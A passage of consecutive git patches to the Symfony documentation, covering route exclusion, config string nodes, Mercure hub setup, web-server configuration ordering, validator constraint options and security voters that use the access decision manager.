 exclude config option

---
 routing.rst | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/routing.rst b/routing.rst
index 57a087b8cfa..682b96d9c42 100644
--- a/routing.rst
+++ b/routing.rst
@@ -1439,7 +1439,7 @@ when importing the routes.
 
         # config/routes/attributes.yaml
         controllers:
-            resource: '../../src/Controller/'
+            resource: '../../src/Controller/**/*'
             type: attribute
             # this is added to the beginning of all imported route URLs
             prefix: '/blog'
@@ -1455,6 +1455,9 @@ when importing the routes.
 
             # you can optionally exclude some files/subdirectories when loading attributes
             # (the value must be a string or an array of PHP glob patterns)
+            # NOTE: For now, this will only work if you are using the string, glob notation for the
+            #       resource value.  The array notation containing `path` & `namespace` will not work,
+            #       and neither will using a non-glob string like `'../src/Controller'`.
             # exclude: '../../src/Controller/{Debug*Controller.php}'
 
     .. code-block:: xml

From 99427cb25bfb91a4a66bbfb0cdd950d5fc19fce8 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 31 Oct 2024 17:39:09 +0100
Subject: [PATCH 6486/7107] Reword

---
 routing.rst | 11 +++++++----
 1 file changed, 7 insertions(+), 4 deletions(-)

diff --git a/routing.rst b/routing.rst
index 682b96d9c42..e2ca7f1a1fe 100644
--- a/routing.rst
+++ b/routing.rst
@@ -1439,7 +1439,7 @@ when importing the routes.
 
         # config/routes/attributes.yaml
         controllers:
-            resource: '../../src/Controller/**/*'
+            resource: '../../src/Controller/'
             type: attribute
             # this is added to the beginning of all imported route URLs
             prefix: '/blog'
@@ -1455,9 +1455,6 @@ when importing the routes.
 
             # you can optionally exclude some files/subdirectories when loading attributes
             # (the value must be a string or an array of PHP glob patterns)
-            # NOTE: For now, this will only work if you are using the string, glob notation for the
-            #       resource value.  The array notation containing `path` & `namespace` will not work,
-            #       and neither will using a non-glob string like `'../src/Controller'`.
             # exclude: '../../src/Controller/{Debug*Controller.php}'
 
     .. code-block:: xml
@@ -1523,6 +1520,12 @@ when importing the routes.
             ;
         };
 
+.. caution::
+
+    The ``exclude`` option only works when the ``resource`` value is a glob string.
+    If you use a regular string (e.g. ``'../src/Controller'``) the ``exclude``
+    value will be ignored.
+
 In this example, the route of the ``index()`` action will be called ``blog_index``
 and its URL will be ``/blog/{_locale}``. The route of the ``show()`` action will be called
 ``blog_show`` and its URL will be ``/blog/{_locale}/posts/{slug}``. Both routes

From d20ac34ac17254dc48a74ced515948a825ceae35 Mon Sep 17 00:00:00 2001
From: Raffaele Carelle <raffaele.carelle@algoritma.it>
Date: Mon, 4 Nov 2024 09:48:23 +0100
Subject: [PATCH 6487/7107] add stringNode documentation

---
 components/config/definition.rst | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/components/config/definition.rst b/components/config/definition.rst
index 929246fa915..05f64497a66 100644
--- a/components/config/definition.rst
+++ b/components/config/definition.rst
@@ -83,6 +83,12 @@ reflect the real structure of the configuration values::
             ->scalarNode('default_connection')
                 ->defaultValue('mysql')
             ->end()
+            ->stringNode('username')
+                ->defaultValue('root')
+            ->end()
+            ->stringNode('password')
+                ->defaultValue('root')
+            ->end()
         ->end()
     ;
 
@@ -100,6 +106,7 @@ node definition. Node types are available for:
 * scalar (generic type that includes booleans, strings, integers, floats
   and ``null``)
 * boolean
+* string
 * integer
 * float
 * enum (similar to scalar, but it only allows a finite set of values)

From d1bdedf1931c87ad3577f68ead3429f81cc16e41 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Thu, 7 Nov 2024 00:16:01 +0100
Subject: [PATCH 6488/7107] Update mercure.rst: Moving Mercure's prod hub
 further upwards

Page: https://symfony.com/doc/5.x/mercure.html

Reason: If people need Mercure's binary *in any case* (for prod), this should be mentioned first.
---
 mercure.rst | 35 +++++++++++++++++------------------
 1 file changed, 17 insertions(+), 18 deletions(-)

diff --git a/mercure.rst b/mercure.rst
index bbc8771b82c..1cc413e6c5a 100644
--- a/mercure.rst
+++ b/mercure.rst
@@ -48,13 +48,28 @@ Run this command to install the Mercure support:
 
     $ composer require mercure
 
+Running a Mercure Hub
+~~~~~~~~~~~~~~~~~~~~~
+
 To manage persistent connections, Mercure relies on a Hub: a dedicated server
 that handles persistent SSE connections with the clients.
 The Symfony app publishes the updates to the hub, that will broadcast them to
 clients.
 
+.. raw:: html
+
+    <object data="_images/mercure/hub.svg" type="image/svg+xml"
+        alt="Flow diagram showing a Symfony app communicating with the Mercure Hub using a POST request, and the Mercure Hub using SSE to communicate to the clients."
+    ></object>
+
+In production, you have to install a Mercure hub by yourself.
+An official and open source (AGPL) hub based on the Caddy web server
+can be downloaded as a static binary from `Mercure.rocks`_.
+A Docker image, a Helm chart for Kubernetes
+and a managed, High Availability Hub are also provided.
+
 Thanks to :doc:`the Docker integration of Symfony </setup/docker>`,
-:ref:`Flex <symfony-flex>` proposes to install a Mercure hub.
+:ref:`Flex <symfony-flex>` proposes to install a Mercure hub for development.
 Run ``docker-compose up`` to start the hub if you have chosen this option.
 
 If you use the :doc:`Symfony Local Web Server </setup/symfony_server>`,
@@ -64,23 +79,7 @@ you must start it with the ``--no-tls`` option.
 
     $ symfony server:start --no-tls -d
 
-Running a Mercure Hub
-~~~~~~~~~~~~~~~~~~~~~
-
-.. raw:: html
-
-    <object data="_images/mercure/hub.svg" type="image/svg+xml"
-        alt="Flow diagram showing a Symfony app communicating with the Mercure Hub using a POST request, and the Mercure Hub using SSE to communicate to the clients."
-    ></object>
-
-If you use the Docker integration, a hub is already up and running,
-and you can go straight to the next section.
-
-Otherwise, and in production, you have to install a hub by yourself.
-An official and open source (AGPL) Hub based on the Caddy web server
-can be downloaded as a static binary from `Mercure.rocks`_.
-A Docker image, a Helm chart for Kubernetes
-and a managed, High Availability Hub are also provided.
+If you use the Docker integration, a hub is already up and running.
 
 Configuration
 -------------

From 1a72556ae9bc4cc769fac8e81d950fc0afb2c6ca Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Maxime=20H=C3=A9lias?= <maximehelias16@gmail.com>
Date: Thu, 7 Nov 2024 13:26:14 +0100
Subject: [PATCH 6489/7107] [DependencyInjection] fix attribute first element

---
 service_container/service_decoration.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/service_container/service_decoration.rst b/service_container/service_decoration.rst
index 97c4c25090b..0f75b5284c8 100644
--- a/service_container/service_decoration.rst
+++ b/service_container/service_decoration.rst
@@ -630,7 +630,7 @@ Three different behaviors are available:
             class Bar
             {
                 public function __construct(
-                    private #[AutowireDecorated] $inner,
+                    #[AutowireDecorated] private $inner,
                 ) {
                 }
 

From 590225c3e7ef97c3fbdaac09f19e430d4d0a2423 Mon Sep 17 00:00:00 2001
From: "Phil E. Taylor" <phil@phil-taylor.com>
Date: Wed, 6 Nov 2024 15:26:00 +0000
Subject: [PATCH 6490/7107] Update link to PHP docs

---
 controller.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/controller.rst b/controller.rst
index f34507fc68b..c38836ce8f6 100644
--- a/controller.rst
+++ b/controller.rst
@@ -846,6 +846,6 @@ Learn more about Controllers
 .. _`Early hints`: https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/103
 .. _`SAPI`: https://www.php.net/manual/en/function.php-sapi-name.php
 .. _`FrankenPHP`: https://frankenphp.dev
-.. _`Validate Filters`: https://www.php.net/manual/en/filter.filters.validate.php
+.. _`Validate Filters`: https://www.php.net/manual/en/filter.constants.php
 .. _`phpstan/phpdoc-parser`: https://packagist.org/packages/phpstan/phpdoc-parser
 .. _`phpdocumentor/type-resolver`: https://packagist.org/packages/phpdocumentor/type-resolver

From 98197e2ef801dba45e903700883e2e6143151816 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Thu, 7 Nov 2024 16:27:41 +0100
Subject: [PATCH 6491/7107] Update web_server_configuration.rst: Movin nginx
 above Apache

Page: https://symfony.com/doc/current/setup/web_server_configuration.html

Reason: IMO nginx is more widely used nowadays.
---
 setup/web_server_configuration.rst | 108 ++++++++++++++---------------
 1 file changed, 54 insertions(+), 54 deletions(-)

diff --git a/setup/web_server_configuration.rst b/setup/web_server_configuration.rst
index e5a0c9e7fd9..f8f4bd76606 100644
--- a/setup/web_server_configuration.rst
+++ b/setup/web_server_configuration.rst
@@ -49,60 +49,6 @@ listen on. Each pool can also be run under a different UID and GID:
     ; or listen on a TCP connection
     ; listen = 127.0.0.1:9000
 
-Apache
-------
-
-If you are running Apache 2.4+, you can use ``mod_proxy_fcgi`` to pass
-incoming requests to PHP-FPM. Install the Apache2 FastCGI mod
-(``libapache2-mod-fastcgi`` on Debian), enable ``mod_proxy`` and
-``mod_proxy_fcgi`` in your Apache configuration, and use the ``SetHandler``
-directive to pass requests for PHP files to PHP FPM:
-
-.. code-block:: apache
-
-    # /etc/apache2/conf.d/example.com.conf
-    <VirtualHost *:80>
-        ServerName example.com
-        ServerAlias www.example.com
-
-        # Uncomment the following line to force Apache to pass the Authorization
-        # header to PHP: required for "basic_auth" under PHP-FPM and FastCGI
-        #
-        # SetEnvIfNoCase ^Authorization$ "(.+)" HTTP_AUTHORIZATION=$1
-
-        <FilesMatch \.php$>
-            # when using PHP-FPM as a unix socket
-            SetHandler proxy:unix:/var/run/php/php8.3-fpm.sock|fcgi://dummy
-
-            # when PHP-FPM is configured to use TCP
-            # SetHandler proxy:fcgi://127.0.0.1:9000
-        </FilesMatch>
-
-        DocumentRoot /var/www/project/public
-        <Directory /var/www/project/public>
-            AllowOverride None
-            Require all granted
-            FallbackResource /index.php
-        </Directory>
-
-        # uncomment the following lines if you install assets as symlinks
-        # or run into problems when compiling LESS/Sass/CoffeeScript assets
-        # <Directory /var/www/project>
-        #     Options FollowSymlinks
-        # </Directory>
-
-        ErrorLog /var/log/apache2/project_error.log
-        CustomLog /var/log/apache2/project_access.log combined
-    </VirtualHost>
-
-.. note::
-
-    If you are doing some quick tests with Apache, you can also run
-    ``composer require symfony/apache-pack``. This package creates an ``.htaccess``
-    file in the ``public/`` directory with the necessary rewrite rules needed to serve
-    the Symfony application. However, in production, it's recommended to move these
-    rules to the main Apache configuration file (as shown above) to improve performance.
-
 Nginx
 -----
 
@@ -190,6 +136,60 @@ The **minimum configuration** to get your application running under Nginx is:
 
 For advanced Nginx configuration options, read the official `Nginx documentation`_.
 
+Apache
+------
+
+If you are running Apache 2.4+, you can use ``mod_proxy_fcgi`` to pass
+incoming requests to PHP-FPM. Install the Apache2 FastCGI mod
+(``libapache2-mod-fastcgi`` on Debian), enable ``mod_proxy`` and
+``mod_proxy_fcgi`` in your Apache configuration, and use the ``SetHandler``
+directive to pass requests for PHP files to PHP FPM:
+
+.. code-block:: apache
+
+    # /etc/apache2/conf.d/example.com.conf
+    <VirtualHost *:80>
+        ServerName example.com
+        ServerAlias www.example.com
+
+        # Uncomment the following line to force Apache to pass the Authorization
+        # header to PHP: required for "basic_auth" under PHP-FPM and FastCGI
+        #
+        # SetEnvIfNoCase ^Authorization$ "(.+)" HTTP_AUTHORIZATION=$1
+
+        <FilesMatch \.php$>
+            # when using PHP-FPM as a unix socket
+            SetHandler proxy:unix:/var/run/php/php8.3-fpm.sock|fcgi://dummy
+
+            # when PHP-FPM is configured to use TCP
+            # SetHandler proxy:fcgi://127.0.0.1:9000
+        </FilesMatch>
+
+        DocumentRoot /var/www/project/public
+        <Directory /var/www/project/public>
+            AllowOverride None
+            Require all granted
+            FallbackResource /index.php
+        </Directory>
+
+        # uncomment the following lines if you install assets as symlinks
+        # or run into problems when compiling LESS/Sass/CoffeeScript assets
+        # <Directory /var/www/project>
+        #     Options FollowSymlinks
+        # </Directory>
+
+        ErrorLog /var/log/apache2/project_error.log
+        CustomLog /var/log/apache2/project_access.log combined
+    </VirtualHost>
+
+.. note::
+
+    If you are doing some quick tests with Apache, you can also run
+    ``composer require symfony/apache-pack``. This package creates an ``.htaccess``
+    file in the ``public/`` directory with the necessary rewrite rules needed to serve
+    the Symfony application. However, in production, it's recommended to move these
+    rules to the main Apache configuration file (as shown above) to improve performance.
+
 Caddy
 -----
 

From 0a2d1589e3fcf93e87cc063d7aa77139b2b70a41 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 7 Nov 2024 16:41:27 +0100
Subject: [PATCH 6492/7107] [DependencyInjection] fix attribute first element

---
 service_container/service_decoration.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/service_container/service_decoration.rst b/service_container/service_decoration.rst
index 97c4c25090b..0f75b5284c8 100644
--- a/service_container/service_decoration.rst
+++ b/service_container/service_decoration.rst
@@ -630,7 +630,7 @@ Three different behaviors are available:
             class Bar
             {
                 public function __construct(
-                    private #[AutowireDecorated] $inner,
+                    #[AutowireDecorated] private $inner,
                 ) {
                 }
 

From 970d37b45d9b609376ce7c77f8a8384d954f509f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 7 Nov 2024 16:47:56 +0100
Subject: [PATCH 6493/7107] Add the versionadded directives

---
 components/config/definition.rst | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/components/config/definition.rst b/components/config/definition.rst
index 05f64497a66..4e99fb4f6a7 100644
--- a/components/config/definition.rst
+++ b/components/config/definition.rst
@@ -92,6 +92,10 @@ reflect the real structure of the configuration values::
         ->end()
     ;
 
+.. versionadded:: 7.2
+
+    The ``stringNode()`` method was introduced in Symfony 7.2.
+
 The root node itself is an array node, and has children, like the boolean
 node ``auto_connect`` and the scalar node ``default_connection``. In general:
 after defining a node, a call to ``end()`` takes you one step up in the
@@ -116,6 +120,10 @@ node definition. Node types are available for:
 and are created with ``node($name, $type)`` or their associated shortcut
 ``xxxxNode($name)`` method.
 
+.. versionadded::
+
+    Support for ``string`` types was introduced in Symfony 7.2.
+
 Numeric Node Constraints
 ~~~~~~~~~~~~~~~~~~~~~~~~
 

From 92cb40ec42a1ed4f42b9ed5aa568717df3ebb1de Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Fri, 8 Nov 2024 01:31:59 +0100
Subject: [PATCH 6494/7107] Update mercure.rst: Moving tip about debugger
 upwards

Page: https://symfony.com/doc/5.x/mercure.html#subscribing

Reason: This belongs to the code block, not to the DevTools screenshot.
---
 mercure.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/mercure.rst b/mercure.rst
index 1cc413e6c5a..ec0a3dfd042 100644
--- a/mercure.rst
+++ b/mercure.rst
@@ -306,6 +306,10 @@ as patterns:
     }
     </script>
 
+.. tip::
+
+    Test if a URI Template matches a URL using `the online debugger`_
+
 .. tip::
 
     Google Chrome DevTools natively integrate a `practical UI`_ displaying in live
@@ -321,10 +325,6 @@ as patterns:
     * click on the request to the Mercure hub
     * click on the "EventStream" sub-tab.
 
-.. tip::
-
-    Test if a URI Template match a URL using `the online debugger`_
-
 Discovery
 ---------
 

From 7eb2264b2f1dff013aed0a9ffd32c6974f3f1270 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Fri, 8 Nov 2024 14:45:59 +0100
Subject: [PATCH 6495/7107] fix versionadded directive

---
 components/config/definition.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/config/definition.rst b/components/config/definition.rst
index 4e99fb4f6a7..0db9923a340 100644
--- a/components/config/definition.rst
+++ b/components/config/definition.rst
@@ -120,9 +120,9 @@ node definition. Node types are available for:
 and are created with ``node($name, $type)`` or their associated shortcut
 ``xxxxNode($name)`` method.
 
-.. versionadded::
+.. versionadded:: 7.2
 
-    Support for ``string`` types was introduced in Symfony 7.2.
+    Support for the ``string`` type was introduced in Symfony 7.2.
 
 Numeric Node Constraints
 ~~~~~~~~~~~~~~~~~~~~~~~~

From 626d56ef5863b08a206196cb089a1d2c2557339c Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Sat, 9 Nov 2024 11:08:20 +0100
Subject: [PATCH 6496/7107] remove note about the reverted Default group change

---
 serializer.rst | 12 ------------
 1 file changed, 12 deletions(-)

diff --git a/serializer.rst b/serializer.rst
index 91fd92a39a3..bfd838bc4bb 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -385,18 +385,6 @@ stored in one of the following locations:
 * All ``*.yaml`` and ``*.xml`` files in the ``Resources/config/serialization/``
   directory of a bundle.
 
-.. note::
-
-    The groups used by default when normalizing and denormalizing objects are
-    ``Default`` and the group that matches the class name. For example, if you
-    are normalizing a ``App\Entity\Product`` object, the groups used are
-    ``Default`` and ``Product``.
-
-    .. versionadded:: 7.1
-
-        The default use of the class name and ``Default`` groups when normalizing
-        and denormalizing objects was introduced in Symfony 7.1.
-
 .. _serializer-enabling-metadata-cache:
 
 Using Nested Attributes

From 8ed98d3230446e82ee5dab677dc0afc8a9c53f66 Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matt.lempereur@gmail.com>
Date: Mon, 11 Nov 2024 17:44:07 +0100
Subject: [PATCH 6497/7107] add a missing value in MacAdress constraint

---
 reference/constraints/MacAddress.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/reference/constraints/MacAddress.rst b/reference/constraints/MacAddress.rst
index 59adffe7c11..9a282ddf118 100644
--- a/reference/constraints/MacAddress.rst
+++ b/reference/constraints/MacAddress.rst
@@ -132,6 +132,7 @@ Parameter                         Allowed MAC addresses
 ``multicast_no_broadcast``        Only multicast except broadcast
 ``unicast_all``                   Only unicast
 ``universal_all``                 Only universal
+``universal_unicast``             Only universal and unicast
 ``universal_multicast``           Only universal and multicast
 ================================  =========================================
 

From f40f01b78d41fbf7ee52a6f5aba26d866f08129d Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matt.lempereur@gmail.com>
Date: Mon, 11 Nov 2024 17:22:23 +0100
Subject: [PATCH 6498/7107] [Validator] Improve type for the `mode` property of
 the `Bic` constraint

---
 reference/constraints/Bic.rst | 15 +++++----------
 1 file changed, 5 insertions(+), 10 deletions(-)

diff --git a/reference/constraints/Bic.rst b/reference/constraints/Bic.rst
index 3f05e5eac25..313de3bdbbf 100644
--- a/reference/constraints/Bic.rst
+++ b/reference/constraints/Bic.rst
@@ -124,18 +124,13 @@ Parameter        Description
 ``mode``
 ~~~~~~~~
 
-**type**: ``string`` **default**: ``strict``
+**type**: ``string`` **default**: ``BIC::VALIDATION_MODE_STRICT``
 
-This option defines how the BIC is validated:
+This option defines how the BIC is validated. Available constants are defined
+in the :class:`Symfony\\Component\\Validator\\Constraints\\BIC` class.
 
-* ``strict`` validates the given value without any modification;
-* ``case-insensitive`` converts the given value to uppercase before validating it.
-
-.. tip::
-
-    The possible values of this option are also defined as PHP constants of
-    :class:`Symfony\\Component\\Validator\\Constraints\\BIC`
-    (e.g. ``BIC::VALIDATION_MODE_CASE_INSENSITIVE``).
+* ``BIC::VALIDATION_MODE_STRICT`` validates the given value without any modification;
+* ``BIC::VALIDATION_MODE_CASE_INSENSITIVE`` converts the given value to uppercase before validating it.
 
 .. versionadded:: 7.2
 

From bc8c2d222b0f89f92f630ac4de7e5674f9e11a35 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 13 Nov 2024 17:10:23 +0100
Subject: [PATCH 6499/7107] Minor tweaks

---
 reference/constraints/Bic.rst | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/reference/constraints/Bic.rst b/reference/constraints/Bic.rst
index 313de3bdbbf..6cde4a11bac 100644
--- a/reference/constraints/Bic.rst
+++ b/reference/constraints/Bic.rst
@@ -124,13 +124,13 @@ Parameter        Description
 ``mode``
 ~~~~~~~~
 
-**type**: ``string`` **default**: ``BIC::VALIDATION_MODE_STRICT``
+**type**: ``string`` **default**: ``Bic::VALIDATION_MODE_STRICT``
 
-This option defines how the BIC is validated. Available constants are defined
-in the :class:`Symfony\\Component\\Validator\\Constraints\\BIC` class.
+This option defines how the BIC is validated. The possible values are available
+as constants in the :class:`Symfony\\Component\\Validator\\Constraints\\Bic` class:
 
-* ``BIC::VALIDATION_MODE_STRICT`` validates the given value without any modification;
-* ``BIC::VALIDATION_MODE_CASE_INSENSITIVE`` converts the given value to uppercase before validating it.
+* ``Bic::VALIDATION_MODE_STRICT`` validates the given value without any modification;
+* ``Bic::VALIDATION_MODE_CASE_INSENSITIVE`` converts the given value to uppercase before validating it.
 
 .. versionadded:: 7.2
 

From 40058d823673436e935308a05acd87db028fbb7c Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Thu, 14 Nov 2024 08:39:36 +0100
Subject: [PATCH 6500/7107] the TypeInfo component is no longer experimental

---
 components/type_info.rst | 5 -----
 1 file changed, 5 deletions(-)

diff --git a/components/type_info.rst b/components/type_info.rst
index 30ae11aa222..f46c8f8ab3a 100644
--- a/components/type_info.rst
+++ b/components/type_info.rst
@@ -11,11 +11,6 @@ This component provides:
 * A way to get types from PHP elements such as properties, method arguments,
   return types, and raw strings.
 
-.. caution::
-
-    This component is :doc:`experimental </contributing/code/experimental>` and
-    could be changed at any time without prior notice.
-
 Installation
 ------------
 

From fc0030a5c508300860d9bdeb3db01e499b3c2bcc Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Wed, 13 Nov 2024 09:58:23 +0100
Subject: [PATCH 6501/7107] use access decision manager to control which token
 to vote on

---
 security/impersonating_user.rst | 12 ++++++------
 security/voters.rst             | 16 ++++++++--------
 2 files changed, 14 insertions(+), 14 deletions(-)

diff --git a/security/impersonating_user.rst b/security/impersonating_user.rst
index 36232243e1f..ffcab67194e 100644
--- a/security/impersonating_user.rst
+++ b/security/impersonating_user.rst
@@ -309,17 +309,17 @@ logic you want::
     namespace App\Security\Voter;
 
     use Symfony\Component\Security\Core\Authentication\Token\TokenInterface;
+    use Symfony\Component\Security\Core\Authorization\AccessDecisionManagerInterface;
     use Symfony\Component\Security\Core\Authorization\Voter\Voter;
-    use Symfony\Component\Security\Core\Security;
     use Symfony\Component\Security\Core\User\UserInterface;
 
     class SwitchToCustomerVoter extends Voter
     {
-        private $security;
+        private $accessDecisionManager;
 
-        public function __construct(Security $security)
+        public function __construct(AccessDecisionManager $accessDecisionManager)
         {
-            $this->security = $security;
+            $this->accessDecisionManager = $accessDecisionManager;
         }
 
         protected function supports($attribute, $subject): bool
@@ -337,12 +337,12 @@ logic you want::
             }
 
             // you can still check for ROLE_ALLOWED_TO_SWITCH
-            if ($this->security->isGranted('ROLE_ALLOWED_TO_SWITCH')) {
+            if ($this->accessDecisionManager->isGranted($token, ['ROLE_ALLOWED_TO_SWITCH'])) {
                 return true;
             }
 
             // check for any roles you want
-            if ($this->security->isGranted('ROLE_TECH_SUPPORT')) {
+            if ($this->accessDecisionManager->isGranted($token, ['ROLE_TECH_SUPPORT'])) {
                 return true;
             }
 
diff --git a/security/voters.rst b/security/voters.rst
index a770e386c02..acab7ff65f6 100644
--- a/security/voters.rst
+++ b/security/voters.rst
@@ -222,25 +222,25 @@ Checking for Roles inside a Voter
 ---------------------------------
 
 What if you want to call ``isGranted()`` from *inside* your voter - e.g. you want
-to see if the current user has ``ROLE_SUPER_ADMIN``. That's possible by injecting
-the :class:`Symfony\\Component\\Security\\Core\\Security`
-into your voter. You can use this to, for example, *always* allow access to a user
+to see if the current user has ``ROLE_SUPER_ADMIN``. That's possible by using an
+:class:`access decision manager <Symfony\\Component\\Security\\Core\\Authorization\\AccessDecisionManagerInterface>`
+inside your voter. You can use this to, for example, *always* allow access to a user
 with ``ROLE_SUPER_ADMIN``::
 
     // src/Security/PostVoter.php
 
     // ...
-    use Symfony\Component\Security\Core\Security;
+    use Symfony\Component\Security\Core\Authorization\AccessDecisionManagerInterface;
 
     class PostVoter extends Voter
     {
         // ...
 
-        private $security;
+        private $accessDecisionManager;
 
-        public function __construct(Security $security)
+        public function __construct(AccessDecisionManagerInterface $accessDecisionManager)
         {
-            $this->security = $security;
+            $this->accessDecisionManager = $accessDecisionManager;
         }
 
         protected function voteOnAttribute($attribute, $subject, TokenInterface $token): bool
@@ -248,7 +248,7 @@ with ``ROLE_SUPER_ADMIN``::
             // ...
 
             // ROLE_SUPER_ADMIN can do anything! The power!
-            if ($this->security->isGranted('ROLE_SUPER_ADMIN')) {
+            if ($this->accessDecisionManager->isGranted($token, ['ROLE_SUPER_ADMIN'])) {
                 return true;
             }
 

From 8b9ca6f5e9c1c4964cebc08b35de6344f5902870 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Sat, 16 Nov 2024 10:22:58 +0100
Subject: [PATCH 6502/7107] remove documentation about no longer existing
 getBaseType() method

---
 components/type_info.rst | 6 ------
 1 file changed, 6 deletions(-)

diff --git a/components/type_info.rst b/components/type_info.rst
index f46c8f8ab3a..bbc7d0ea8dc 100644
--- a/components/type_info.rst
+++ b/components/type_info.rst
@@ -58,12 +58,6 @@ based on reflection or a simple string::
 
     // Type instances have several helper methods
 
-    // returns the main type (e.g. in this example it returns an "array" Type instance);
-    // for nullable types (e.g. string|null) it returns the non-null type (e.g. string)
-    // and for compound types (e.g. int|string) it throws an exception because both types
-    // can be considered the main one, so there's no way to pick one
-    $baseType = $type->getBaseType();
-
     // for collections, it returns the type of the item used as the key;
     // in this example, the collection is a list, so it returns an "int" Type instance
     $keyType = $type->getCollectionKeyType();

From 4eed10be822e64078281704b91b404b8803d2d3d Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matt.lempereur@gmail.com>
Date: Mon, 18 Nov 2024 09:44:26 +0100
Subject: [PATCH 6503/7107] mailersend support webhook

---
 mailer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/mailer.rst b/mailer.rst
index 6527fecaa16..b8421cc6d26 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -107,7 +107,7 @@ Service               Install with                                    Webhook su
 `Mailgun`_            ``composer require symfony/mailgun-mailer``     yes
 `Mailjet`_            ``composer require symfony/mailjet-mailer``     yes
 `MailPace`_           ``composer require symfony/mail-pace-mailer``
-`MailerSend`_         ``composer require symfony/mailer-send-mailer``
+`MailerSend`_         ``composer require symfony/mailer-send-mailer`` yes
 `Mandrill`_           ``composer require symfony/mailchimp-mailer``
 `Postmark`_           ``composer require symfony/postmark-mailer``    yes
 `Resend`_             ``composer require symfony/resend-mailer``      yes

From 7caf0dc9291186e3139738188b0ba827274d6745 Mon Sep 17 00:00:00 2001
From: lacatoire <louis-arnaud.catoire@external.drivalia.com>
Date: Mon, 18 Nov 2024 11:08:55 +0100
Subject: [PATCH 6504/7107] Clarify documentation about differences between
 AutowireIterator and AutowireLocator

---
 .../service_subscribers_locators.rst          | 49 +++++++++++++++----
 1 file changed, 39 insertions(+), 10 deletions(-)

diff --git a/service_container/service_subscribers_locators.rst b/service_container/service_subscribers_locators.rst
index da5cb415800..ada84158fcc 100644
--- a/service_container/service_subscribers_locators.rst
+++ b/service_container/service_subscribers_locators.rst
@@ -381,19 +381,48 @@ attribute::
     :class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireLocator`
     attribute was introduced in Symfony 6.4.
 
-.. note::
+The AutowireIterator Attribute
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+Variant of the ``AutowireLocator`` that specifically provides an iterable of services
+based on a tag. This allows you to collect all services with a particular tag into
+an iterable, which can be useful when you need to iterate over a set of services
+rather than retrieving them individually.
 
-    To receive an iterable instead of a service locator, you can switch the
-    :class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireLocator`
-    attribute to
-    :class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireIterator`
-    attribute.
+For example, if you want to collect all the handlers for different command types,
+you can use the ``AutowireIterator`` attribute to automatically inject all services
+tagged with a specific tag::
+
+    // src/CommandBus.php
+    namespace App;
+
+    use App\CommandHandler\BarHandler;
+    use App\CommandHandler\FooHandler;
+    use Psr\Container\ContainerInterface;
+    use Symfony\Component\DependencyInjection\Attribute\AutowireIterator;
+
+    class CommandBus
+    {
+        public function __construct(
+            #[AutowireIterator('command_handler')]
+            private iterable $handlers, // Collects all services tagged with 'command_handler'
+        ) {
+        }
 
-    .. versionadded:: 6.4
+        public function handle(Command $command): mixed
+        {
+            foreach ($this->handlers as $handler) {
+                if ($handler->supports($command)) {
+                    return $handler->handle($command);
+                }
+            }
+        }
+    }
+
+.. versionadded:: 6.4
 
-        The
-        :class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireIterator`
-        attribute was introduced in Symfony 6.4.
+    The
+    :class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireIterator`
+    attribute was introduced in Symfony 6.4.
 
 .. _service-subscribers-locators_defining-service-locator:
 

From c9b77efec4d0a5244e85559b56647792b685d08a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 19 Nov 2024 10:16:46 +0100
Subject: [PATCH 6505/7107] Add some informacion about why not using the
 Security service

---
 security/voters.rst | 19 +++++++++++++++++++
 1 file changed, 19 insertions(+)

diff --git a/security/voters.rst b/security/voters.rst
index acab7ff65f6..2298fb155fd 100644
--- a/security/voters.rst
+++ b/security/voters.rst
@@ -256,6 +256,25 @@ with ``ROLE_SUPER_ADMIN``::
         }
     }
 
+.. caution::
+
+    In the previous example, avoid using the following code to check if a role
+    is granted permission::
+
+        // DON'T DO THIS
+        use Symfony\Component\Security\Core\Security;
+        // ...
+
+        if ($this->security->isGranted('ROLE_SUPER_ADMIN')) {
+            // ...
+        }
+
+        The ``Security::isGranted()`` method inside a voter has a significant
